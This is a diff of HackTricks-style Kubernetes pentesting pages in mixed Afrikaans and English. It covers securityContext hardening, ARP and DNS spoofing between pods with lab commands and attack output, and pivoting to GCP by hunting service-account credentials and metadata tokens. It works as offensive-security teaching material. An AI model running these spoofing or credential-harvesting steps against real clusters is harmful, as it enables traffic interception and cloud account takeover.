-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>Meer inligting oor</em> <em><strong>seLinux</strong></em></p> | Die **SELinux konteks wat op die houer toegepas moet word**. As nie gespesifiseer nie, sal die houer runtime 'n ewekansige SELinux konteks vir elke houer toewys.                                                                                                                                                              |
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a></p>                                                               | Die **seccomp opsies** wat deur hierdie houer gebruik moet word.                                                                                                                                                                                                                                                                     |
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p>                                 | Die **Windows spesifieke instellings** wat op alle houers toegepas word.                                                                                                                                                                                                                                                          |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>More info about</em> <em><strong>Capabilities</strong></em></p>  | The **capabilities to add/drop when running containers**. Defaults to the default set of capabilities.                                                                                                                                                                                                                |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>boolean</em></p>                                                                                                                                                                                    | Run container in privileged mode. Processes in privileged containers are essentially **equivalent to root on the host**. Defaults to false.                                                                                                                                                                           |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p>                                                                                                                                                                                      | procMount denotes the **type of proc mount to use for the containers**. The default is DefaultProcMount which uses the container runtime defaults for readonly paths and masked paths.                                                                                                                                |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p>                                                                                                                                                                        | Whether this **container has a read-only root filesystem**. Default is false.                                                                                                                                                                                                                                         |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p>                                                                                                                                                                                    | The **GID to run the entrypoint** of the container process. Uses runtime default if unset.                                                                                                                                                                                                                            |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p>                                                                                                                                                                                  | Indicates that the container must **run as a non-root user**. If true, the Kubelet will validate the image at runtime to ensure that it does not run as UID 0 (root) and fail to start the container if it does.                                                                                                      |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p>                                                                                                                                                                                     | The **UID to run the entrypoint** of the container process. Defaults to user specified in image metadata if unspecified.                                                                                                                                                                                              |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | The **SELinux context to be applied to the container**. If unspecified, the container runtime will allocate a random SELinux context for each container.                                                                                                                                                              |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a></p>                                                               | The **seccomp options** to use by this container.                                                                                                                                                                                                                                                                     |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p>                                 | The **Windows specific settings** applied to all containers.                                                                                                                                                                                                                                                          |
+
+## Practical workload review checklist
+
+When reviewing a Pod or workload template, inspect both `spec.securityContext` and every container-level `securityContext` under `containers`, `initContainers`, and `ephemeralContainers`. Container-level fields can override the pod-level defaults, so a safe-looking pod default does not guarantee that every container is safe.
+
+High-risk combinations to prioritize:
+
+- `privileged: true`, especially with `hostPID`, `hostIPC`, `hostNetwork`, `hostPath`, host ports, or runtime socket mounts.
+- Added capabilities such as `SYS_ADMIN`, `NET_ADMIN`, `SYS_PTRACE`, `SYS_MODULE`, `DAC_READ_SEARCH`, or `DAC_OVERRIDE`.
+- `allowPrivilegeEscalation: true` or unset in containers that can execute attacker-controlled code.
+- `seccompProfile: Unconfined`, `procMount: Unmasked`, or missing runtime profiles on sensitive workloads.
+- Writable root filesystems or broad writable volume mounts in workloads that process untrusted input.
+- Missing CPU, memory, or ephemeral-storage requests and limits in multi-tenant namespaces.
+
+For most application workloads, a good baseline is to run as a non-root UID, set `runAsNonRoot: true`, set `allowPrivilegeEscalation: false`, drop all capabilities and add back only the minimum required ones, use `seccompProfile: RuntimeDefault`, prefer a read-only root filesystem, and avoid host namespaces, hostPath mounts, and privileged mode.
+
+At cluster level, use [Pod Security Admission](https://kubernetes.io/docs/concepts/security/pod-security-admission/) namespace labels to enforce the Kubernetes [Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/) where possible. Use `restricted` for namespaces that can support it, at least `baseline` for ordinary application namespaces, and keep privileged exceptions narrow, documented, and isolated to trusted platform namespaces or node pools.
 
 ## References
 
 - [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core)
 - [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)
+- [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
+- [https://kubernetes.io/docs/concepts/security/linux-kernel-security-constraints/](https://kubernetes.io/docs/concepts/security/linux-kernel-security-constraints/)
+- [https://kubernetes.io/docs/concepts/security/pod-security-standards/](https://kubernetes.io/docs/concepts/security/pod-security-standards/)
+- [https://kubernetes.io/docs/concepts/security/pod-security-admission/](https://kubernetes.io/docs/concepts/security/pod-security-admission/)
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md

@@ -1,19 +1,19 @@
-# Kubernetes Netwerkaanvalle
+# Kubernetes Network Attacks
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Inleiding
 
-In Kubernetes word waargeneem dat 'n standaardgedrag die totstandkoming van verbindings tussen **alle houers wat op dieselfde node woon** toelaat. Dit geld ongeag die naamruimte verskille. So 'n verbinding strek af na **Laag 2** (Ethernet). Gevolglik stel hierdie konfigurasie die stelsel potensieel bloot aan kwesbaarhede. Spesifiek maak dit die moontlikheid oop vir 'n **kwaadwillige houer** om 'n **ARP spoofing-aanval** teen ander houers wat op dieselfde node geleë is, uit te voer. Tydens so 'n aanval kan die kwaadwillige houer bedrogstig die netwerkverkeer wat bedoel is vir ander houers onderskep of verander.
+In Kubernetes word daar waargeneem dat ’n verstekgedrag die vestiging van verbindings tussen **alle containers wat op dieselfde node leef** toelaat. Dit geld ongeag die namespace-verskille. Sulke konnektiwiteit strek af tot **Layer 2** (Ethernet). Gevolglik stel hierdie konfigurasie die stelsel potensieel bloot aan kwesbaarhede. Spesifiek open dit die moontlikheid vir ’n **malicious container** om ’n **ARP spoofing attack** teen ander containers op dieselfde node uit te voer. Tydens so ’n attack kan die malicious container netwerkverkeer wat vir ander containers bedoel is, bedrieglik onderskep of wysig.
 
-ARP spoofing-aanvalle behels die **aanvaller wat vervalste ARP** (Address Resolution Protocol) boodskappe oor 'n plaaslike area netwerk stuur. Dit lei tot die koppel van die **aanvaller se MAC-adres met die IP-adres van 'n wettige rekenaar of bediener op die netwerk**. Na suksesvolle uitvoering van so 'n aanval kan die aanvaller data in-transit onderskep, verander of selfs stop. Die aanval word op Laag 2 van die OSI-model uitgevoer, wat die rede is waarom die standaardverbinding in Kubernetes op hierdie laag sekuriteitskwessies laat ontstaan.
+ARP spoofing attacks behels die **attacker wat vervalste ARP** (Address Resolution Protocol) boodskappe oor ’n plaaslike area network stuur. Dit lei daartoe dat die **attacker se MAC address met die IP address van ’n wettige rekenaar of server op die network gekoppel word**. Ná suksesvolle uitvoering van so ’n attack kan die attacker data in transito onderskep, wysig, of selfs stop. Die attack word op Layer 2 van die OSI model uitgevoer, en daarom wek die verstekkonnektiwiteit in Kubernetes op hierdie layer sekuriteitskwessies.
 
-In die scenario gaan 4 masjiene geskep word:
+In die scenario gaan 4 machines geskep word:
 
-- ubuntu-pe: Bevoorregte masjien om na die node te ontsnap en metrieks te kontroleer (nie nodig vir die aanval nie)
-- **ubuntu-attack**: **Kwaadwillige** houer in die standaard naamruimte
-- **ubuntu-victim**: **Slachtoffer** masjien in kube-system naamruimte
-- **mysql**: **Slachtoffer** masjien in die standaard naamruimte
+- ubuntu-pe: Privileged machine om na die node te ontsnap en metrics te kontroleer (nie nodig vir die attack nie)
+- **ubuntu-attack**: **Malicious** container in default namespace
+- **ubuntu-victim**: **Victim** machine in kube-system namespace
+- **mysql**: **Victim** machine in default namespace
 ```yaml
 echo 'apiVersion: v1
 kind: Pod
@@ -96,22 +96,22 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools
 kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
 kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
 ```
-## Basiese Kubernetes Netwerk
+## Basiese Kubernetes-netwerking
 
-As jy meer besonderhede oor die netwerkonderwerpe wat hier bekendgestel is, wil hê, gaan na die verwysings.
+As jy meer besonderhede wil hê oor die netwerktopics wat hier bekendgestel word, gaan na die verwysings.
 
 ### ARP
 
-In die algemeen is **pod-naar-pod netwerk binne die node** beskikbaar via 'n **brug** wat al die pods verbind. Hierdie brug word “**cbr0**” genoem. (Sommige netwerkpluggins sal hul eie brug installeer.) Die **cbr0 kan ook ARP** (Address Resolution Protocol) resolusie hanteer. Wanneer 'n inkomende pakket by cbr0 aankom, kan dit die bestemmings MAC-adres met behulp van ARP oplos.
+Oor die algemeen is **pod-to-pod-netwerking binne die node** beskikbaar via 'n **bridge** wat al die pods koppel. Hierdie bridge word “**cbr0**” genoem. (Sommige netwerkplugins sal hul eie bridge installeer.) Die **cbr0 kan ook ARP** (Address Resolution Protocol)-resolusie hanteer. Wanneer 'n inkomende pakket by cbr0 aankom, kan dit die bestemmings-MAC-adres met behulp van ARP oplos.
 
-Hierdie feit impliseer dat, per default, **elke pod wat in dieselfde node loop** in staat gaan wees om te **kommunikeer** met enige ander pod in dieselfde node (onafhanklik van die namespace) op ethernetvlak (laag 2).
+Hierdie feit impliseer dat, by verstek, **elke pod wat in dieselfde node loop** in staat gaan wees om op ethernetvlak (laag 2) met enige ander pod in dieselfde node te **kommunikeer** (onafhanklik van die namespace).
 
 > [!WARNING]
-> Daarom is dit moontlik om A**RP Spoofing-aanvalle tussen pods in dieselfde node uit te voer.**
+> Daarom is dit moontlik om A**RP Spoofing attacks tussen pods in dieselfde node uit te voer.**
 
 ### DNS
 
-In kubernetes omgewings sal jy gewoonlik 1 (of meer) **DNS dienste wat loop** gewoonlik in die kube-system namespace vind:
+In kubernetes-omgewings sal jy gewoonlik 1 (of meer) **DNS services running** vind, gewoonlik in die kube-system namespace:
 ```bash
 kubectl -n kube-system describe services
 Name:              kube-dns
@@ -136,27 +136,30 @@ Port:              metrics  9153/TCP
 TargetPort:        9153/TCP
 Endpoints:         172.17.0.2:9153
 ```
-In die vorige inligting kan jy iets interessant sien, die **IP van die diens** is **10.96.0.10** maar die **IP van die pod** wat die diens uitvoer is **172.17.0.2.**
+In die vorige inligting kan jy iets interessant sien, die **IP van die service** is **10.96.0.10** maar die **IP van die pod** wat die service laat loop is **172.17.0.2.**
 
 As jy die DNS-adres binne enige pod nagaan, sal jy iets soos hierdie vind:
 ```
 cat /etc/resolv.conf
 nameserver 10.96.0.10
 ```
-However, the pod **weet nie** hoe om by daardie **adres** te kom nie omdat die **pod reeks** in hierdie geval 172.17.0.10/26 is.
+Egter, die pod **weet nie** hoe om by daardie **adres** uit te kom nie omdat die **pod range** in hierdie geval 172.17.0.10/26 is.
 
-Therefore, the pod will send the **DNS requests to the address 10.96.0.10** which will be **vertaal** deur die cbr0 **na** **172.17.0.2**.
+Daarom sal die pod die **DNS requests na die adres 10.96.0.10 stuur** wat deur die cbr0 **na** **172.17.0.2** **vertaal** sal word.
 
 > [!WARNING]
-> This means that a **DNS request** of a pod is **altyd** going to go the **bridge** to **vertaal** the **service IP to the endpoint IP**, even if the DNS server is in the same subnetwork as the pod.
+> Dit beteken dat 'n **DNS request** van 'n pod **altyd** deur die **bridge** sal gaan om die **service IP to the endpoint IP** te **translate**, selfs al is die DNS server in dieselfde subnetwork as die pod.
 >
-> Knowing this, and knowing **ARP-aanvalle is moontlik**, a **pod** in a node is going to be able to **af te luister die verkeer** tussen **elke pod** in die **subnetwerk** en die **bridge** en **wysig** die **DNS antwoorde** van die DNS server (**DNS Spoofing**).
+> As jy dit weet, en weet dat **ARP attacks possible** is, gaan 'n **pod** in 'n node in staat wees om **the traffic** tussen **each pod** in die **subnetwork** en die **bridge** te **intercept** en die **DNS responses** van die DNS server (**DNS Spoofing**) te **modify**.
 >
-> Moreover, if the **DNS server** is in the **dieselfde node as the attacker**, the attacker can **af te luister al die DNS versoek** van enige pod in die cluster (tussen die DNS server en die bridge) en die antwoorde wysig.
+> Verder, as die **DNS server** in dieselfde node as die attacker is, kan die attacker al die **DNS request** van enige pod in die cluster **intercept** (tussen die DNS server en die bridge) en die responses **modify**.
+
+> [!NOTE]
+> Validate the active CNI and DNS path before assuming this works in a real cluster. Some CNIs route or isolate same-node traffic differently, and clusters using NodeLocal DNSCache may send pod DNS queries to a node-local address before forwarding to CoreDNS. In those environments, DNS spoofing depends on pod placement, packet capabilities, resolver configuration, node-local cache behavior, and whether applications verify peers with TLS or another identity mechanism.
 
 ## ARP Spoofing in pods in the same Node
 
-Our goal is to **steel ten minste die kommunikasie van die ubuntu-victim na die mysql**.
+Ons doel is om ten minste die kommunikasie van die ubuntu-victim na die mysql te **steel**.
 
 ### Scapy
 ```bash
@@ -233,16 +236,16 @@ arpspoof -t 172.17.0.9 172.17.0.10
 ```
 ## DNS Spoofing
 
-Soos reeds genoem, as jy **'n pod in dieselfde node van die DNS bediener pod kompromitteer**, kan jy **MitM** met **ARPSpoofing** die **brug en die DNS** pod en **alle DNS-antwoorde** **wysig**.
+Soos reeds genoem is, as jy ’n **pod kompromitteer in dieselfde node as die DNS server pod**, kan jy **MitM** met **ARPSpoofing** die **bridge en die DNS** pod doen en **al die DNS responses wysig**.
 
-Jy het 'n regte goeie **instrument** en **handleiding** om dit te toets in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
+Jy het ’n baie goeie **tool** en **tutorial** om dit te toets by [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
 
-In ons scenario, **aflaai** die **instrument** in die aanvaller pod en skep 'n **lêer genaamd `hosts`** met die **domeine** wat jy wil **spoof** soos:
+In ons scenario, **download** die **tool** in die attacker pod en skep ’n **file genaamd `hosts`** met die **domains** wat jy wil **spoof** soos:
 ```
 cat hosts
 google.com. 1.1.1.1
 ```
-Voer die aanval op die ubuntu-victim masjien uit:
+Voer die attack op die ubuntu-victim machine uit:
 ```
 python3 exploit.py --direct 172.17.0.10
 [*] starting attack on direct mode to pod 172.17.0.10
@@ -260,30 +263,32 @@ dig google.com
 google.com.		1	IN	A	1.1.1.1
 ```
 > [!NOTE]
-> As jy probeer om jou eie DNS spoofing skrip te skep, as jy **net die DNS antwoord** aanpas, gaan dit **nie** **werk** nie, omdat die **antwoord** 'n **src IP** gaan hê van die **kwaadwillige** **pod** en **nie** aanvaar gaan word nie.\
-> Jy moet 'n **nuwe DNS pakket** genereer met die **src IP** van die **DNS** waar die slagoffer die DNS versoek stuur (wat iets soos 172.16.0.2 is, nie 10.96.0.10 nie, dit is die K8s DNS diens IP en nie die DNS bediener IP nie, meer oor dit in die inleiding).
+> If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** the IP address of the **malicious** **pod** and **won't** be **accepted**.\
+> You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction).
 
 ## DNS Spoofing via coreDNS configmap
 
-'n Gebruiker met skryfregte oor die configmap `coredns` in die kube-system naamruimte kan die DNS antwoorde van die kluster aanpas.
+’n Gebruiker met skryfregte oor die configmap `coredns` in die kube-system namespace kan die DNS responses van die cluster wysig.
 
-Kyk meer inligting oor hierdie aanval in:
+Also review NodeLocal DNSCache if it is deployed. It usually runs as a hostNetwork DaemonSet and has its own ConfigMap, logs, cache, and forwarding path. A CoreDNS change may not be the only place where DNS behavior can be affected or observed.
+
+Check more information about this attack in:
 
 {{#ref}}
 abusing-roles-clusterroles-in-kubernetes/README.md
 {{/ref}}
 
-## Misbruik van blootgestelde kubernetes bestuurdienste
+## Abusing exposed kubernetes management services
 
-Dienste soos Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, en die Kubernetes dashboard is dikwels blootgestel aan die internet of binne die kubernetes netwerk. 'n Aanvaller wat daarin slaag om **enige platform te vind wat gebruik word om kubernetes te bestuur en toegang te verkry** kan dit misbruik om toegang tot die kubernetes API te verkry en aksies uit te voer soos om nuwe pods te skep, bestaande te wysig, of selfs te verwyder.
+Services like Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, and the Kubernetes dashboard are often exposed either to the internet or within the kubernetes network. An attacker that manage to **find any platform used to manage kubernetes and access it** can abuse it to get access to the kubernetes API and perform actions like creating new pods, modifying existing ones, or even deleting them.
 
-## Opname van kubernetes netwerkbeleide
+## Enumerating kubernetes network policies
 
-Kry geconfigureerde **networkpolicies**:
+Get configured **networkpolicies**:
 ```bash
 kubectl get networkpolicies --all-namespaces
 ```
-Kry **Callico** netwerkbeleide:
+Kry **Callico** network policies:
 ```bash
 kubectl get globalnetworkpolicy --all-namespaces
 ```
@@ -291,16 +296,16 @@ Kry **Cillium** netwerkbeleide:
 ```bash
 kubectl get ciliumnetworkpolicy --all-namespaces
 ```
-Kry ander beleid-verwante CRD's geïnstalleer deur jou netwerk-inprop of sekuriteitsoplossing:
+Kry ander policy-verwante CRDs wat deur jou network plugin of security solution geïnstalleer is:
 ```bash
 kubectl get crd | grep -i policy
 ```
-## Traffic Vasvang
+## Capturing Traffic
 
-Die hulpmiddel [**Mizu**](https://github.com/up9inc/mizu) is 'n eenvoudige maar kragtige API **verkeer kyker vir Kubernetes** wat jou in staat stel om **alle API kommunikasie** tussen mikrodiens te sien om jou te help om regressies te ontfout en op te los.\
-Dit sal agente in die geselekteerde pods installeer en hul verkeersinligting versamel en dit aan jou in 'n webbediener wys. Jy sal egter hoë K8s-toestemmings benodig hiervoor (en dit is nie baie stil nie).
+Die instrument [**Mizu**](https://github.com/up9inc/mizu) is 'n eenvoudige maar kragtige API **traffic viewer for Kubernetes** wat jou in staat stel om **al die API communication** tussen microservices te sien om jou te help om regressions te debug en troubleshooten.\
+Dit sal agents in die geselekteerde pods installeer en hul traffic information insamel en dit vir jou in 'n web server wys. Jy sal egter hoë K8s permissions hiervoor nodig hê (en dit is nie baie stealthy nie).
 
-## Verwysings
+## References
 
 - [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1)
 - [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)

src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md

@@ -1,52 +1,52 @@
-# Kubernetes Pivoting to Clouds
+# Kubernetes Pivoting na Clouds
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## GCP
 
-As jy 'n k8s cluster binne GCP bestuur, wil jy waarskynlik hê dat 'n toepassing wat binne die cluster loop, toegang tot GCP het. Daar is 2 algemene maniere om dit te doen:
+As jy `k8s` cluster binne GCP laat loop, sal jy waarskynlik wil hê dat een of ander application wat binne die cluster loop, toegang tot GCP moet hê. Daar is 2 algemene maniere om dit te doen:
 
 ### Mounting GCP-SA keys as secret
 
-'n Algemene manier om toegang aan 'n kubernetes toepassing tot GCP te gee is om:
+’n Algemene manier om **access to a kubernetes application to GCP** te gee, is om:
 
-- Skep 'n GCP Service Account
-- Ken die verlangde toestemmings daaraan toe
-- Laai 'n json key van die geskepte SA af
-- Monteer dit as 'n secret binne die pod
-- Stel die GOOGLE_APPLICATION_CREDENTIALS environment variable wat na die pad wys waar die json is.
+- Create a GCP Service Account
+- Bind die gewenste permissions daarop
+- Download ’n json key van die created SA
+- Mount dit as ’n secret binne die pod
+- Stel die GOOGLE_APPLICATION_CREDENTIALS environment variable in wat na die path wys waar die json is.
 
 > [!WARNING]
-> Daarom, as 'n **attacker**, as jy 'n container binne 'n pod kompromitteer, moet jy kyk vir daardie **env** **variable** en **json** **files** met GCP credentials.
+> Daarom, as ’n **attacker**, as jy ’n container binne ’n pod kompromitteer, moet jy kyk vir daardie **env** **variable** en **json** **files** met GCP credentials.
 
 ### Relating GSA json to KSA secret
 
-Een manier om toegang aan 'n GSA tot 'n GKE cluser te gee, is deur hulle op hierdie wyse te bind:
+’n Manier om access aan ’n GSA te gee aan ’n GKE cluser is om hulle op hierdie manier te bind:
 
-- Skep 'n Kubernetes service account in dieselfde namespace as jou GKE cluster met behulp van die volgende opdrag:
+- Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:
 ```bash
 kubectl create serviceaccount <service-account-name>
 ```
-- Skep 'n Kubernetes Secret wat die inlogbesonderhede van die GCP service account bevat wat jy toegang tot die GKE cluster wil gee. Jy kan dit doen met die `gcloud` opdragreëlhulpmiddel, soos in die volgende voorbeeld:
+- Skep `n` Kubernetes Secret wat die geloofsbriewe van die GCP service account bevat waaraan jy toegang tot die GKE cluster wil gee. Jy kan dit doen met die `gcloud` command-line tool, soos in die volgende voorbeeld gewys:
 ```bash
 gcloud iam service-accounts keys create <key-file-name>.json \
 --iam-account <gcp-service-account-email>
 kubectl create secret generic <secret-name> \
 --from-file=key.json=<key-file-name>.json
 ```
-- Bind die Kubernetes Secret aan die Kubernetes service account met die volgende kommando:
+- Bind die Kubernetes Secret aan die Kubernetes service account met die volgende opdrag:
 ```bash
 kubectl annotate serviceaccount <service-account-name> \
 iam.gke.io/gcp-service-account=<gcp-service-account-email>
 ```
 > [!WARNING]
-> In die **tweede stap** is die **credentials of the GSA as secret of the KSA** gestel. As jy daardie **secret** van **binne** die **GKE** cluster kan **lees**, kan jy na daardie **GCP service account** eskaleer.
+> In die **tweede stap** is die **credentials van die GSA as secret van die KSA** gestel. Dan, as jy daardie **secret** van **binne** die **GKE** cluster kan **lees**, kan jy na daardie GCP service account **escalate**.
 
 ### GKE Workload Identity
 
-Met Workload Identity kan ons configureer a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) om op te tree as a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods wat met die Kubernetes service account loop sal outomaties as die Google service account autentikeer wanneer hulle Google Cloud APIs benader.
+Met Workload Identity kan ons 'n[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) konfigureer om as 'n[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts) op te tree. Pods wat met die Kubernetes service account loop, sal outomaties as die Google service account authenticate wanneer hulle Google Cloud APIs benader.
 
-Die **eerste reeks stappe** om hierdie gedrag moontlik te maak is om **Workload Identity in GCP te aktiveer** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) en die GCP SA te skep wat jy wil hê k8s moet naboots.
+Die **eerste reeks stappe** om hierdie gedrag te aktiveer, is om **Workload Identity in GCP te enable** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) en die GCP SA te skep wat jy wil hê k8s moet impersonate.
 
 - **Enable Workload Identity** op 'n nuwe cluster
 ```bash
@@ -54,7 +54,7 @@ gcloud container clusters update <cluster_name> \
 --region=us-central1 \
 --workload-pool=<project-id>.svc.id.goog
 ```
-- **Skep/Opdateer 'n nuwe nodepool** (Autopilot clusters benodig dit nie)
+- **Skep/Wysig ’n nuwe nodepool** (Autopilot clusters het dit nie nodig nie)
 ```bash
 # You could update instead of create
 gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
@@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding <project-id> \
 --member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
 --role "roles/iam.securityReviewer"
 ```
-- **Verbind met** die **cluster** en **skep** die **service account** om te gebruik
+- **Koppel** aan die **cluster** en **skep** die **service account** om te gebruik
 ```bash
 # Get k8s creds
 gcloud container clusters get-credentials <cluster_name> --region=us-central1
@@ -80,7 +80,7 @@ kubectl create namespace testing
 # Create the KSA
 kubectl create serviceaccount ksa2gcp -n testing
 ```
-- **Koppel die GSA aan die KSA**
+- **Bind die GSA met die KSA**
 ```bash
 # Allow the KSA to access the GSA in GCP IAM
 gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
@@ -92,7 +92,7 @@ kubectl annotate serviceaccount ksa2gcp \
 --namespace testing \
 iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
 ```
-- Begin 'n **pod** met die **KSA** en kontroleer die **toegang** tot **GSA:**
+- Run a **pod** met die **KSA** en kontroleer die **access** tot **GSA:**
 ```bash
 # If using Autopilot remove the nodeSelector stuff!
 echo "apiVersion: v1
@@ -118,15 +118,15 @@ kubectl exec -it workload-identity-test \
 curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
 gcloud auth list
 ```
-Kontroleer die volgende opdrag om te verifieer indien nodig:
+Kyk na die volgende command om te authenticate indien nodig:
 ```bash
 gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
 ```
 > [!WARNING]
-> As 'n attacker binne K8s moet jy **search for SAs** met die **`iam.gke.io/gcp-service-account` annotation`** aangesien dit aandui dat die SA toegang tot iets in GCP kan hê. 'n Ander opsie is om elke KSA in die cluster te probeer abuse en te kontroleer of dit toegang het.\
-> Vanaf GCP is dit altyd interessant om die bindings te enumerate en te weet **watter toegang jy aan SAs binne Kubernetes gee**.
+> As 'n attacker binne K8s moet jy **soek vir SAs** met die **`iam.gke.io/gcp-service-account` annotation** aangesien dit aandui dat die SA toegang tot iets in GCP kan hê. 'n Ander opsie sou wees om te probeer om elke KSA in die cluster te misbruik en te kyk of dit toegang het.\
+> Van GCP af is dit altyd interessant om die bindings te enumerate en te weet **watter access jy aan SAs binne Kubernetes gee**.
 
-Dit is 'n skrip om maklik **over the all the pods** definisies **looking** for daardie **annotation**:
+This is a script to easily **iterate over the all the pods** definitions **looking** for that **annotation**:
 ```bash
 for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
 for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -141,9 +141,9 @@ done | grep -B 1 "gcp-service-account"
 
 ### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
 
-Een (verouderde) manier om IAM Roles aan Pods te gee is om 'n [**Kiam**](https://github.com/uswitch/kiam) of 'n [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Basies sal jy 'n **daemonset** in jou cluster moet laat loop met 'n soort **privileged IAM role**. Hierdie daemonset sal die een wees wat toegang tot IAM roles aan die pods gee wat dit benodig.
+’n (verouderde) manier om IAM Roles aan Pods te gee is om ’n [**Kiam**](https://github.com/uswitch/kiam) of ’n [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** te gebruik. Basies sal jy ’n **daemonset** in jou cluster moet laat loop met ’n **soort bevoorregte IAM role**. Hierdie daemonset sal die een wees wat toegang tot IAM roles aan die pods gee wat dit nodig het.
 
-Eerstens moet jy konfigureer **watter rolle binne die namespace toeganklik is**, en dit doen jy met 'n annotation binne die namespace object:
+Eerstens moet jy konfigureer **watter roles binne die namespace verkry kan word**, en jy doen dit met ’n annotation binne die namespace object:
 ```yaml:Kiam
